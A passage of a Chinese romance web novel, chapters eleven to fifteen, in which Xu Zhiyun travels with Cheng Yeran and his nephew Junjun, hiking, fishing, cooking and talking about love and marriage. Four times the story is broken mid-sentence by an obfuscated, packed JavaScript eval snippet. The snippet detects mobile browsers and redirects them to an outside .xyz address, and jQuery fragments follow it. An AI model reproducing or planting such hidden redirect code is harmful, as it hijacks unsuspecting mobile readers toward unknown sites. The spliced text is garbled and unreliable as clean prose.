“嘿嘿,不会的。”小朋友笑嘻嘻道,“姐姐你长得那么漂亮,感觉又和善,肯定是好人。” 许知蕴哭笑不得。想说几句“不能因为人的外貌和感觉就判定一个人的好坏”之类的话,但又觉得自己这些话肯定很像来自陌生人的说教,便不再说什么。 谁知,在她起身丢小木棍的当口,小朋友又冷不丁飘来一句话:“我知道,人不可貌相,我叔叔也说我太容易相信别人了……可是我有感觉呀!我的感觉从来没错的……哎!我叔叔回来啦!” 小孩子的声音陡然拔高,透露出满满的喜悦。许知蕴想是时候拔腿走人了,便站起身来。刚走几步路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042592|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼角的余光忽然看见一个人影——手里拿着风车,应该就是这孩子的叔叔了。叔叔弯下腰来同小朋友说话……奇怪,这声音怎么这么耳熟? 就看一眼,就看一眼……许知蕴偷偷摸摸地转过脑袋,想要看看声音的主人究竟是谁—— 她和一双似曾相识的眼睛对视了。 “怎么是你?!” * 看见来人,程烨然挑了挑眉:“怎么,看见我好像很不乐意的样子?” 许知蕴重新找了个椅子坐下,声音闷闷的:“没有,我就是……震惊……你们不应该去什么马尔代夫、什么欧洲度假?” 小朋友已经做了自我介绍,说自己叫俊俊,今年小学二年级。许知蕴听他喊程烨然“叔叔”,就知道他应该是程烨然哥哥的孩子。俊俊虽然古灵精怪,但有时候意外的实诚。似乎是因为她是程烨然的熟人,俊俊对自己的自我介绍已经细化到了读哪个小学、爱吃什么、最喜欢的动物是……程烨然朝她无奈地摊了摊手。 等俊俊发完言,程烨然的冰棍和烤肠都吃完了。俊俊拉着许知蕴的手:“姐姐,和我们一起爬山吧!” 许知蕴笑道:“好好好。我们走吧。” 树荫底下集合的旅游团早就不见了,现在又换了一拨。他们三人沿着台阶一步步走上去。俊俊的体力特好,走得飞快。许知蕴和程烨然则走在后面。他们不要求速度,只是慢慢地走着,欣赏沿路的风景。 她问程烨然:“你们也是来这里旅游的?” “嗯,俊俊说要来延桐。其实我也没来过这地方。”程烨然说,“据说,这里是‘茉莉之城’。” “对啊。一到夏天,茉莉花就开了。特别香,一出火车站就闻到了。” 他们登上了山顶。夕阳西沉,树影斑驳,云霞如倾倒的颜料桶般流泻出来。不远处连绵的山丘也亮起了各色的彩灯,江水绵绵,几艘小渔船在光影里摇摇地回港。俊俊拿出相机一阵乱拍,又从包里取出个拍立得,扯扯程烨然的衣袖:“叔叔,我们和姐姐一起照相怎么样?” 程烨然低声说:“这你得去问姐姐。” 俊俊跑到许知蕴这里,举起自己的拍立得:“漂亮姐姐,我们一起照张相吧!” 许知蕴这时正撑着下巴,倚在栏杆上发呆。闻言,她笑眯眯地俯下身,轻轻捏了捏俊俊的脸颊:“好啊。不过你叔叔同意吗?” “我刚问他了,他叫我问你。他要是不同意,我们也……我们也不要理他!” 拜托了一位路人,帮忙合照。他们摆好姿势,很快就照好了。三分钟后,照片显影出来。 背景是温馨的夜,俊俊站在中间,把奥特曼抱在胸前,做了个手里的奥特曼同款的动作。许知蕴站在左边,单手插口袋,另一只手规规矩矩比“耶”。程烨然则戴了个黑色鸭舌帽,可惜在拍照的途中,鸭舌帽被风吹歪了,只好伸出手来扶住帽檐。相机将他们现在的样子定格住,许知蕴看到时才发现,自己的一缕头发被吹了起来。 俊俊说:“没事的姐姐!这样也很好看!对吧叔叔?” 许知蕴有些尴尬地别过头去。 但过了几秒钟,她却听见了程烨然温和的、带着笑意的声音: “嗯,很好看——我可不是说谎话噢。” 12. 第十二章 下山后,他们进了家小馆子吃晚饭。 三个人,正好点一份大份的烤鱼。老板很热情,还给他们一人送了一小盒纸巾。等餐的时候闲谈,许知蕴才发现他们三个人住的是同一个民宿。 她很惊奇:“你们也选这家?这么巧。” 负责规划住宿的是程烨然。他摸了摸鼻子:“嗯……这家在软件上的评分最高。” 其实许知蕴也不是那么会做住宿的功课,她也是看评分和设施来定的。“你们住哪间?我在312。” 表情惊讶的换成了俊俊:“姐姐,我们住304!我可以去你房间和你玩吗?我带了好多游戏!” 这也太巧了吧?许知蕴想,似乎和程烨然碰上的巧合特别多。谁能想到在酒吧邂逅的人跟你同住一个小区呢?更别提这个人还是你素未谋面的相亲对象了。 她还没说话,就听见程烨然低声对俊俊说:“不要去打扰人家,你要想玩,我陪你玩。” 许知蕴看着俊俊闷闷不乐的神情,忍不住去呼噜了一把他毛茸茸的脑袋:“没事的,可以来和我玩。” “谢谢姐姐!” 俊俊乐呵呵地道谢,继续把玩他的奥特曼。程烨然有些抱歉地对许知蕴说:“实在不好意思,给你添麻烦了。” “不麻烦不麻烦。”许知蕴摆摆手,“我很喜欢俊俊的。他多可爱。” 说着说着,烤鱼就上来了。鲜香麻辣,淋了热油,滋滋地在铁板上发出令人食指大动的响声。俊俊一边吃一边爆料:“姐姐,你知道吗,我叔叔是个吃货。” 许知蕴虽然知道程烨然对美食一道情有独钟,但还是表现得很感兴趣:“嗯,比如?” “我爸说,叔叔从小到大都是这个样子,碰到什么都想尝一口。我爸小时候生病了,要吃药丸,那个药丸长得很像巧克力球。叔叔就偷偷地翻他的柜子,把那个药丸的瓶子拿出来,一口把药丸塞进嘴巴里——结果是苦的!他一下子把瓶子打翻了。动静太大,把爷爷奶奶都吵起来了……” 许知蕴故意去看程烨然,想象一个Q版的小程烨然,偷偷摸摸地去翻箱倒柜,只是为了啃一个看起来很好吃的“巧克力球”,就笑得乐不可支。 “还有吗还有吗?” “当然了——不过我也不太知道了,我每次想听,叔叔都不让我听……姐姐,不过在我心里,叔叔是最会吃的人。他带我吃了好多家好吃的餐馆!之前有一次,我考试进步了,他还带我去吃海鲜!那家海鲜可好吃了,就在……就在……” 俊俊歪着头努力回想着:“就在港口那里,有点远,有点难找……旁边有一艘旧轮船!有标志的话就很容易找……” 那天晚上,俊俊一边吃鱼,一边夸这家的东西好吃。“叔叔,太好吃了!什么都好好吃,螃蟹也特别肥!你之前怎么不带我来,是不是要私藏啊?” 程烨然替俊俊剥螃蟹的手顿了一下:“我可不是私藏,只是……” “只是什么?” 程烨然笑笑:“只是我也是最近才知道这家店的。” “是有人介绍给你的吗?” 程烨然把剥好的蟹肉放进俊俊的碗里,低着头,神色有些看不清楚,但语调的尾音却是上扬的:“嗯。是一个朋友。” 俊俊追问他,是什么样的朋友呢?可坏心眼的叔叔却撇了撇嘴,不回答他了。 许知蕴一下子怔住了。 那好像是——她带程烨然去吃的那家? 她心中忽然有些小小的雀跃。这么说,程烨然很是认可自己的推荐咯? 心中的小火花转着圈儿一样蹦起来,她把目光投向旁边坐着的男人。但刚才听着俊俊揭底而面不改色的人,现在似乎变得不好意思起来,把头偏了过去,都不肯跟她对视了。 所幸先前点的炒青菜上来了,许知蕴忍着笑轻咳一声:“好啦,吃菜啦。多吃青菜补充膳食纤维。” 俊俊嘟囔道:“我不想吃青菜……” 程烨然这才把头重新偏了回来,耳朵尖也没那么红了。 * 吃完饭,他们回到民宿。简单洗漱完,许知蕴套了件棉麻的白色睡袍,走到一楼的庭院里,坐在房檐下的简易木椅上。 延桐的夏天,早晚是凉爽的。对面是他们下午刚爬过的山,掩映在层层云影里,朦朦胧胧。夜空柔和,她靠着椅背开始发呆——她喜欢发呆,没事的时候,放空自己的脑袋,看着眼前的人来来去去,在脑海中编着无厘头的故事,时间就能变得特别快。 她的思绪正漫无目的地在夜空中飞驰,忽然就看见一双白色的休闲鞋。鞋子的主人走到她的身旁,也坐了下来。 她问:“你也下来么?” 程烨然指了指不远处的俊俊:“他说要来跟小朋友玩麻将。” 俊俊正和三个小朋友坐在麻将桌前。他们哪里会打,统一都将麻将块当成了积木,正兴致勃勃地开始盖房子,还是带院子的那种。俊俊是总负责人,看起来神气得很。 “我还以为他会打麻将呢。” “哪里。你会吗?” 许知蕴摇头:“我不会打,但我会打桥牌。我妈妈打桥牌是一把好手,她还得过组织里比赛的奖。你呢?” 她颇有兴趣地看着程烨然:“麻将、牌九……这么多样东西,总得会一个吧?” 可没想到程烨然的回答又一次出乎许知蕴的意料:“其实——” 他还故意拖长了声音来吊胃口,最后却给出一个朴实无华的答案,“其实我只会打斗地主。” 许知蕴一愣,然后哈哈大笑起来。“正好,你、我、俊俊三个人,正好可以凑一盘斗地主。” 她仰起头,看见天上的星子一闪一闪。 她想起曾经听过的一个老套的传说:人去世后,会化成天上的星星。倘若星星闪了,那就是那人眨了眨眼睛。倘若流星飞过,那就是灵魂要重归世界。这虽然是哄小孩子的故事,但许知蕴却一直坚定地相信这些。 “程烨然,你相信世界上有灵魂的存在吗?”她问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042593|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我相信。” “那你相信,人死后,灵魂会变成天上的星星吗?” 程烨然轻声说:“嗯,这个我也相信。” 不管许知蕴说什么,他都很有耐心。 许知蕴看着漆黑的夜空:“我有看过很多不一样的传说。有的地方认为,灵魂的最终归宿是天堂和地狱。有的则说灵魂会变成星星、变成鱼、变成去山上祭奠时碰见的第一只动物……世界太大了,不同的环境,不同的生活与思考方式催生了不同的想象……程烨然,如果不当玩具设计师,你想要做什么呢?” 话题跳跃得很快,一下子就从“灵魂的归宿”跳到了“未来”。人的意识就是这样,在没发觉的时候,其实已经悄然流淌到了别处。 这个问题,程烨然还真想过。那是他小时候的事情。他看《加勒比海盗》,买了一艘特别精美的模型船,每天就幻想着,自己在航船的甲板上,迎着风高高扯起风帆的样子。 他说:“我想当水手呢。” “为什么不是船长?”许知蕴显然跟他想到一块去了,“你看杰克船长,多帅。” 程烨然伸出食指,在她面前摇了摇:“当船长要操心的事情太多了:船往哪个方向开、下一个停靠点在哪、遇到风浪还要指挥……不如当水手来的自在。你呢,你想当船长吗?” “对呀。”许知蕴说,“我以前呢,就想当船长了。给我一艘多么小的船也没关系,哪怕手下只有一个水手也没关系。船还是船,总能在海上航行的。” 程烨然失笑:“那我给你当水手吧,给我开够工资就行。” 就像海浪冲击礁石一般,许知蕴听了他的话,心里忽然充盈着某种难言的情绪。但她又不知这情绪从何而来,只好傻傻地笑了笑。 她笑的时候,眉眼舒展开来。那双眼睛的弧度,就像今晚挂在天上的那个小小的月牙儿。 她笑着笑着,俊俊就从另一边跑过来了。他搭完自己的房子,踩着拖鞋啪嗒啪嗒地过来,问:“姐姐,你们在讲什么好玩的事情?” 许知蕴逗他:“在想出海航行的事情呢。你叔叔是水手,我是船长。你想要个什么职位呢?” 俊俊的小脸皱了起来。他似乎做出了一番很是艰难的抉择:“我……我还是当煮饭的吧。我做饭可好吃了,比我爸做的好吃。我到时候天天做给你们吃。” 许知蕴忍不住又伸手呼噜了一把他的脑袋。 夜深了,风也越来越凉,他们起身往回走。电梯很快到了三楼,是要说“明天见”和“晚安”的时候了。 但许知蕴望着程烨然的侧脸,忽然不想那么快地道那声“晚安”。 一旦说了这句话,今天就结束了。可今天是如此的快乐,她不想那么快地结束。 但在程烨然发觉她的视线,低声问她“怎么了”的时候,她也只能垂下眼睛,掩盖住一切夜晚带来的思绪,轻轻地说:“没什么。” 他们互道了一声晚安,然后推开了各自房间的门。 13. 第十三章 接下来的日子,他们去河边钓了鱼。 租了钓竿,三个人各找位置坐下来,钩好鱼饵,抛竿后静待鱼儿上钩。俊俊说要比较谁钓的多,许知蕴和程烨然欣然同意。许知蕴暗戳戳地想,自己跟父亲学过钓鱼,也不算是“输在起跑线”,到时候一定要钓上很多鱼,让他们大吃一惊。 树荫下聚集着很多钓鱼人,大多姿态闲散。湖面波光粼粼,野鸭在湖上欢快地游动,激起阵阵温柔的涟漪。许知蕴等着大显身手,却没想到,两个小时过去了,她只钓上来三条拇指大的小黄鱼,而据说是“第一次钓鱼的绝对新手”俊俊,却一口气钓了一条大鱼上来。 许知蕴郁闷了。这难道就是所谓的“新手保护期”? 俊俊提着他的鱼在许知蕴和程烨然面前欢乐地转悠:“看!我钓上的第一条鱼!” “不错不错,继续努力呀!” 许知蕴倒没有嫉妒小孩的心思。钓鱼嘛,当然也有运气的成分在。她爸当年迷恋夜钓,听说哪个地方鱼多就去哪里,结果每次都无功而返,反而是同去的人收获满满。 俊俊志在必得,继续抛竿。但令人失望的是,一个小时后,他的鱼竿依旧丝毫没有动静。连一条咬钩的小鱼都没有。这个时候,已经是傍晚了,公园里的人都陆陆续续地往回走。俊俊看着自己水桶里唯一的一条大鱼发呆:“是不是我今天的运气都用在刚刚那条鱼身上了……” 程烨然指了指自己的桶,权当安慰:“不要着急。你看我,一条都没钓上。” 许知蕴的水桶里起码还有几条小鱼,程烨然的桶里除了清澈的湖水之外,什么也没有。 俊俊撇撇嘴:“叔叔的运气也是真够差的。” 他们收拾好东西,把租来的钓竿还给人家,就带着鱼回到了民宿。 如果住客自带了食材,那么民宿就会提供宰杀烹饪的服务。许知蕴来的时候,就见几位客人拎着一只活蹦乱跳的鸡走进来,说这是好不容易在散养场里逮到的,一看就是肉质紧实的土鸡,煮了肯定喷香。老板把鸡拿进厨房,过了一会里边就传来了水烧开的声音。 俊俊想要红烧了这条鱼。 程烨然说:“你钓的鱼,你说了算。你想吃什么口味就吃什么口味。” 俊俊说:“叔叔,你能来做这条鱼吗?你做的可好吃了。” 接着他跟许知蕴吹嘘起程烨然的厨艺来:“姐姐,叔叔做饭很好吃哦!你一定要尝试一下他的手艺,不会令你失望的!” 许知蕴单知道程烨然很会吃,但不知道他很会做饭。“真的假的?”她问,“你叔叔最擅长做什么好吃的?” 俊俊一下子就报出了答案:“腌笃鲜!” 她的目光移向程烨然。两个人的眸子都亮晶晶的,程烨然明显有些招架不住:“行,我待会去厨房问问,看他们给不给我们用。要是不给就只能算了。” 他们来到厨房。老板听说他们的来意,很爽快地同意了,问是谁要做饭。得知是面前这个身形修长的帅哥时,还是忍不住惊讶了一番:“哎,居然是小伙子做饭哦!这年头会做饭的年轻人不多啦!” 就这样获得了厨房使用权。 俊俊想要跟进来帮忙,被程烨然一口拒绝了。“我记得……你还有假期作业?英语差四页、数学差两页、语文差六页呢。” 他的语气阴森森的,“要是回去后你爸知道你作业没写完,你和我都要吃不了兜着走。” 俊俊打了个激灵,立马乖乖地表示回房写作业,并且千叮咛万嘱咐菜做好了一定要叫他。 “怕什么。”程烨然耸耸肩,“你还怕我们偷吃?这可是你钓的鱼。” 得到承诺,俊俊心满意足地走了。程烨然刚想把围裙围上,忽然发现厨房里还有个人,正抱着手臂揶揄地打量他。 “你穿上围裙还真有点那个……”许知蕴思考了一会,想到个形容词,“像家庭煮夫哎。” 程烨然失笑:“谁穿上围裙都像家庭煮夫吧。” 许知蕴呵呵笑:“那也是。” 她没有要走的架势,而是倚在门边,像一个等待首长命令的小兵。 程烨然说:“我很快就做好,你要不去厅里坐着等?这里油烟会有点大,我怕熏着你。” 农家厨房的特点就是大锅和灶台。厨房里堆着一大堆柴火,灶台旁放着铁钳子和引火的棉花。大铁锅铮亮,一看就是一口好锅。排气扇挂在墙上吱呀呀地转,或许是被油烟熏多了,边缘有些发黑。 许知蕴却摇摇头:“我不出去。我是来帮你打下手的。” 她说得很认真,完全不像是在开玩笑。程烨然顿了一下:“哪有船长帮水手打下手的?” “我现在不是船长了,是小工。”许知蕴自顾自走到灶台前,坐在烧火的凳子上,握住比她的手还要大一圈的铁钳子,往灶里塞了一片木头,“你负责炒菜做饭,我就来烧烧火吧。” 程烨然看着她,无奈地笑了一下。“行吧,注意安全,小心别烫伤了。” “你就只管把心放在肚子里。”许知蕴朝他做了个鬼脸。 “好好好。” 程烨然挽起袖子,熟练地将已经被刮鳞和开膛破肚的鱼洗净。俊俊钓上来的是条鲤鱼,他将鱼切花刀后腌制,然后热锅煎鱼。香味源源不断地飘出来,听着咕嘟咕嘟的声音,许知蕴只觉得自己饿了。她把灶台里的木头费劲巴拉地摆成三角的形状,随后抬起头来和程烨然有一搭没一搭地聊天: “你在家经常做饭吗?” 程烨然把鱼翻了个面:“还好。其实也就是些家常菜,不花很多时间的。” “这样啊……对了,俊俊说你最擅长的菜是腌笃鲜……真的吗?” “那当然是真的了。” 这道菜还是程烨然同家里的师傅学的。他其他的菜式学得不咋样,就腌笃鲜算勉强能够出师。 许知蕴其实没怎么吃过这道菜。她抬起头,看穿着围裙的程烨然在厨房里忙来忙去。等鱼煮熟的这段时间,他可没闲着。这条鲤鱼不大,三个人肯定不够吃,他还专门问老板要了其他的食材,打算做抱蛋豆腐,再炒个油麦菜。他有条不紊地洗菜切菜,刀工很扎实,切出来的滚刀块又均匀又漂亮。 升腾起来的烟雾,模糊了他的面庞,也遮住了许知蕴的视线。 她突然有些恍惚。即使这里只是类似农家乐的厨房,但她却有一瞬间觉得,自己就像是在家里一样。热气腾腾的、温暖的、安全的……有个人在厨房里忙来忙去,然后举着锅铲对她说,晚饭出炉啦!然后他们端着菜出来,快快乐乐地一起窝在沙发上,边吃边看电视。 这是她理想中的生活。 但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042594|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现在,确实有个人举着锅铲走到她面前,不过不是同她报喜,而是低头看了看灶台的火:“不够旺啊,我来加点柴。” 许知蕴猛然惊醒,手忙脚乱地去拿钳子:“不好意思不好意思,我来——” 立在一旁的钳子已经到了程烨然的手上。不像许知蕴,他的手拿这把钳子,不大不小正合适。 “不要着急,只是柴火的事情而已。” 他将两根玉米棒子放进去,又往里塞了几根树枝,然后把它们都码成三角叠叠乐的形状。 “好了。” 说完,他又走回铁锅前,拿着锅铲翻炒起来。许知蕴这才注意到鱼已经出锅了,正香喷喷地躺在长形瓷盘里。现在在锅里上下颠倒的是可怜却脆嫩的油麦菜。 她实在有点不好意思。自己说了要努力做好烧火工作的,结果却让厨师来操多余的心。“对不起对不起,我……”她给自己找了个理由,“我被香迷糊了,一时恍惚。” 程烨然差点没把锅铲拿稳,“谢谢你对我厨艺的夸奖。” “我没说假话,就是很香……什么时候能做好咧?我肚子饿了。” 下午钓鱼耗费了她太多精力,尤其是一条鱼都没钓到的情况下。她现在只想努力干饭,然后趴在床上好好地躺一躺。 “饿了?” 程烨然笑了笑,将炒好的油麦菜盛上来,帮着许知蕴灭了火,然后将三盘菜都端到她面前,递给她一双筷子,示意道:“饿了就先吃点。” “这……”许知蕴犹豫着,“算了吧……反正马上就要开饭了。” 俊俊可叮嘱他们,菜做好了要立马叫他的。并且程烨然才是厨师,要先吃也是厨师先吃吧? 但程烨然却坚持道:“你先吃一口,帮我尝尝味道如何。我是厨师,一向觉得自己做的味道都很好的,不好吃也尝不出来。” 他撒谎撒得面不改色。许知蕴只好从边缘夹起一小块鱼:“那我就吃一小口。” “吃吧。这鱼煎得有些散,多夹点,反正小屁孩看不出来哪里多一块少一块的。” 许知蕴几乎要偷偷笑起来,但嘴里还含着食物,她只好忍住。 鱼入口的一瞬间,嫩滑绵软,浓厚的香气几乎要把人包裹起来。 “好吃哎!”许知蕴满足地眯起眼睛,“你还是不要当水手了,在船上当炊事班班长吧。” 程烨然做饭也太好吃了吧?之前的那些话简直就是谦虚得过分了! 他们把菜端出厨房,程烨然给俊俊打电话,让他赶紧从楼上下来。许知蕴撑着头,看着桌上热气腾腾的饭菜。她忽然意识到这样奇妙的心境是从何而来了—— 这是因为他们所身处的环境。 因为身处这样的环境,她才能够看见这个围着围裙、拿着锅铲、时刻操心自己侄子的程烨然。但回到城市之后呢? 她盯着眼前被风吹得乱七八糟的热气,打趣道:“或许这是吃你做的菜的唯一一次机会了呢,我得大吃一顿才行啊。” 伴随着哒哒的脚步声,许知蕴知道是俊俊要来了。 但在俊俊走进饭堂的前一秒,坐在她身边的程烨然忽然笑着说:“不会的。” 她一愣,倏然间明白他这句“不会的”指的是什么。 明明是笑着的,但那双眼睛里的神情,却很是认真。 14. 第十四章 度假的日子总是过得特别快的。 他们如愿以偿地采了茉莉,每个人的手上都戴着自己编好的茉莉花手串。俊俊舍不得丢掉,每晚都放在床头。 他们去了寺庙、古街,尝了当地的许多特色美食。延桐人喜欢吃辣,许知蕴对这里的菜系味道简直赞不绝口。街上,仍有穿着民族服饰的姑娘在叫卖着,她们的篮子里放着许多当季的各色鲜花,逢人便说,买一束吧,自留还是送人都很好看的。 许知蕴看见那些篮子里的花束,很漂亮。它们的色彩搭配别具一格,似乎更有蓬勃向上的美。 她的脚步顿了一下。 她不是没遇到过卖花的人。在各种节日——特别是情人节的时候,路上全是卖玫瑰花的人。无论是一束还是一支,在那天都价格飞涨。她偶尔会买几支,不过不是送给自己的“男朋友”,而是将它们插在书房的花瓶里。 玫瑰花也并非情人专属,何况美丽的事物,谁不喜欢呢? 许知蕴觉得自己只是脚步稍稍慢了慢,但在旁人看来,她的目光已经在花束上游移很久了。 “……你喜欢吗?” 程烨然的声音让她回过神来,而面前卖花的姑娘正一脸希冀地看着她。 良心话,这花当然是喜欢的。只是自己一个人为自己买一束花,会不会有点傻? 但许知蕴还是非常诚实地回答:“嗯……这一束很好看。” 她指了指篮子里那束以栀子为主的花束。花瓣的洁白和叶子的碧绿相衬,有一种独特的优雅在其中。许知蕴其实只在电视和花店里见过栀子花,对于它的记忆,更深刻的是汪曾祺老人家书里的那一番话。 卖花姑娘拿起花束给她看,柔柔却又不可忽视的醉人香气就这样传了过来。 程烨然问:“这束花多少钱?” 卖花姑娘说:“二十五块。” 程烨然于是掏出手机,扫了挂在篮子上的二维码。卖花姑娘笑盈盈地将花递给程烨然,然后用一种颇为隐晦的羡慕目光看了一眼许知蕴。许知蕴哪里会不明白,她估计把他们当成一起旅游的恩爱小情侣了。 他接过花束,然后很自然地双手捧给她,只是说了句似乎有点没头没脑的话:“祝你天天开心。” 为什么要送我花呢? 这不是一个好时机,所以许知蕴没有把这个问题问出来。她接过花束,感受着栀子花的香味,低声地说了句:“谢谢。” 与此同时,她在心里盘算着,到时候该送程烨然什么样的礼物作为回礼。 他也喜欢花吗?如果不喜欢,那送什么好?还是像之前一样请他吃饭? 可在思考回礼的时候,她的内心忽然又有些不自在起来,仿佛有个细小的声音在告诉她,你不用回礼,因为这就是他想要送给你的。一个人真心想送另一个人礼物,难道会想着一定要收到什么报酬吗?送礼物不是等价交换的,那样就没意思了! 许知蕴在心里悄悄地反驳:送礼就是要有来有还的,要不然人家不可能再给你送了…… 可她为什么要期盼程烨然给她送礼物呢? * 最后一个晚上,他们去看了山脚下的篝火表演。 说是篝火表演,其实不仅仅只是围着篝火唱歌跳舞,还有一些别的演出活动。不远处有一个用竹子搭成的吊脚楼,很是精致,上边还扎着红色的绸带。俊俊问:“这是有人要结婚了吗?” 程烨然回答他:“不,这是演出。这个演出或许与结婚相关吧。” 很快他们就得知了答案:这的确是一个与“结婚”相关的故事。一位青年,翻山越岭来到姑娘的楼下,在月色中与她对歌。要是能讨到姑娘的欢心,就可以同她喜结连理。在对歌的期间,还会有姑娘的父母、亲戚朋友来对他进行考验,而考验的方式千奇百怪…… 他们坐在竹凳上,听着演员们的歌声。女声清脆,男声嘹亮。唱到情浓处,满头亮晶晶银饰的姑娘撩开珠帘,朝他微微一笑。 姑娘的朋友们进屋,同求亲的男子也对起歌来。他们提出很多奇怪的要求,考验这个男人是否真的有一片痴心。他依言照做,有些他做得来,有些他做不来,但屋子里的女孩们却没有取笑他,反而是转过身,对这位即将成为新娘的朋友说,看呀,他的动作虽然笨拙,可对你的情谊是多么深。 接下来是姑娘的父母亲戚登场。他们向男人提出诸多问题,问他的家庭状况、经济状况,考验他的心是否良善。男人出色地完成了应对,在这场总共长达一个半小时的反复询问后,他终于可以登上吊脚楼,将心爱的姑娘背了下来。周围响起一阵欢呼声。姑娘从他的背上灵巧地跃下来,开始和所有人围着篝火跳舞—— 这其实也是最后一道考验。会唱歌的人,可不一定会跳舞啊。 俊俊目不转睛地看着演出,而许知蕴则跟程烨然悄悄说:“你觉不觉得,这很像古代的相亲?” 是哦,这不就是古代版相亲? 程烨然点点头,笑着说:“我也觉得。” 即将成婚的一对新人正甜蜜地跳着舞。虽然大家都知道这是演的,但心里仍然有发自内心的高兴。许知蕴看着这场表演,忽然说: “我爸妈就是相亲认识的。那个年代嘛,自由恋爱比较少,一般的人呢,就托媒人介绍,相亲,要是还看得过去,就结婚生子。” 她的语速很慢,很清晰:“我爸妈是幸运的例子。他们虽然是相亲认识的,但婚后生活很和睦。要说是因为他们都是知识分子——或许也有这个原因,但双方都是知识分子却不幸的婚姻,我也见过。有知识又不等于有人品。我只是在想,现代的我们会有更多的选择,那古代的人呢? “一个女子,和一个陌生的男人见上几面,或许连一面也见不到,就稀里糊涂结婚了。如果离婚,那对女性的名声来说,是很大的打击。何况见了几面又能怎么样?人是可以伪装的,伪装几个小时或者几天,就能把女人娶到手,再划算不过的买卖了……” 如果她们没有识破李文俊的伪装,陈美芝的未来又会是怎样的呢? 说到这里,许知蕴顿了顿,“我承认,好男人也有,不过……我只是在想,这样的婚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042595|162605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姻的容错率,是不是有点低?如果要结婚,那几乎是孤注一掷的事情……” 她的声音在人群的欢呼之中显得模糊不清。 在她说完之后,程烨然沉稳地接过了话头:“是的。在古代,作为一名女子,生存是很艰难的,爱情就像一个开奖的盲盒,中大奖的几率低得可怜。哪怕是在现代,女性身上的枷锁还没有被完全解开。” 他叹了口气:“不只是婚姻上的,还有其他种种方面。” 先前,江玥同程烨熙结婚的时候,也有过好一阵子的风言风语。有人议论,一个出身平凡家庭的姑娘,是怎么配上程家的大儿子呢?凭学识、凭颜值、还是凭身材? 程烨熙跟程烨然不止一次抱怨过:“不知道他们在嚷嚷什么?什么配得上配不上的,凭什么对别人评头论足!为什么只想人家配不配上我,不想我到底配不配得上人家!” 后来,还是江玥的事业彻底堵住了那帮嚼舌根的人的嘴。 程烨然对这类事情很能感同身受。他虽然是男人,可也不是看不见那些性别方面的区别对待。 许知蕴冷不丁问他:“程烨然,你会和一个不爱的人结婚吗?” “不会。”他摇摇头,却又补充了一句,“但有时候,我想,现实中的婚姻,不爱却结婚的人大有人在。” 有的出于责任,有的出于利益交换,有的或许只是出于,年纪到了,于是找个人搭伙过日子。爱不爱的,在生活的柴米油盐之中,或许都是次要的。 “我也不会。”许知蕴说,“准确来说,是不想。但不管现实如何,我如果没有遇到一个全身心相爱的人,我宁愿一辈子不结婚。不就是不结婚吗,又不是生活的必需品。” 她说完,嘿嘿一笑:“在你看来,这样的想法会不会有点幼稚?” 程烨然看着她傻里傻气,却又有些落寞的神情,低声说:“不。我并不觉得这是一个幼稚的想法。你的人生要怎么过,其实都取决于你。” “真的吗?我有时候会觉得,这真的很不成熟。不结婚,以后遇到事情怎么办?父母不会一直都在,我终究要一个人面对。我一个人真的能处理得好吗?没有小孩,没有人照顾怎么办?养老院……哼,养老院的质量参差不齐。我去做过护工,我知道里边的老人都怎么过的——特别是没钱的老人。 “我很幸运,我的家庭很幸福,经济方面也不短缺,我可以做很多我想做的事情,或许等我老了,我也可以凭借家里的积蓄,进一个很好的养老院,或许还能过得不错。但我深知,这个世界上,并不是所有人都和我一样幸运。而她们,或许并不能像我一样,做出这样的决定。人都是要生活的。” 明明没喝酒,但许知蕴像是有些醉了。她听着周围的乐声,看着围绕着篝火又唱又跳的人们,问:“程烨然同志,我能不能问你一个问题?放心,我这个问题绝对没有别的意思!” “问吧。” 得到了许可,许知蕴笑了笑,眼睛里亮亮的,就像藏了一颗浩瀚银河里的星星: “程烨然,你觉得,爱情是什么呢?” 15. 第十五章 爱情是什么? 程烨然其实很少思考这个问题。毕竟,要回答它,一千个人有一千个人的答案。 